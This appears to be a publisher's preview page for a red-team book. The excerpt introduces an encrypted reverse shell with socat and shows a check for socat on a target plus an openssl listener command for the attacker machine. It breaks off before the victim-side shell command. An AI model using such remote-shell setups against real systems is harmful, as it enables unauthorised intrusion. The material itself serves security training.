Skip to Content
Hands-On Red Team Tactics
book

Hands-On Red Team Tactics

by Himanshu Sharma, Harpreet Singh
September 2018
Intermediate to advanced
480 pages
9h 45m
English
Packt Publishing
Content preview from Hands-On Red Team Tactics

Encrypted reverse shell using socat

socat is a utility tool, just like netcat, that supports communication using different protocols as well as through files, pipes, and sockets with forking, logging, and dumping for interprocess communication. In short, this tool can be described as Damn Innovative!

We can check whether or not socat is installed on the target server using the following command:

which socat

Let's start the encrypted listener on port 8000 using the following command on the attacker machine:

openssl s_server -quiet -key key.pem -cert cert.pem -port 8000

Execute the following command on the victim machine for a reverse shell ...

Become an O’Reilly member and get unlimited access to this title plus top books and audiobooks from O’Reilly and nearly 200 top publishers, thousands of courses curated by job role, 150+ live events each month,
and much more.
Start your free trial

You might also like

Storytelling with You

Storytelling with You

Cole Nussbaumer Knaflic
The Manager's Path

The Manager's Path

Camille Fournier
Crucial Conversations

Crucial Conversations

Joseph Grenny, Kerry Patterson, Ron McMillan, Al Switzler, Emily Gregory

Publisher Resources

ISBN: 9781788995238Other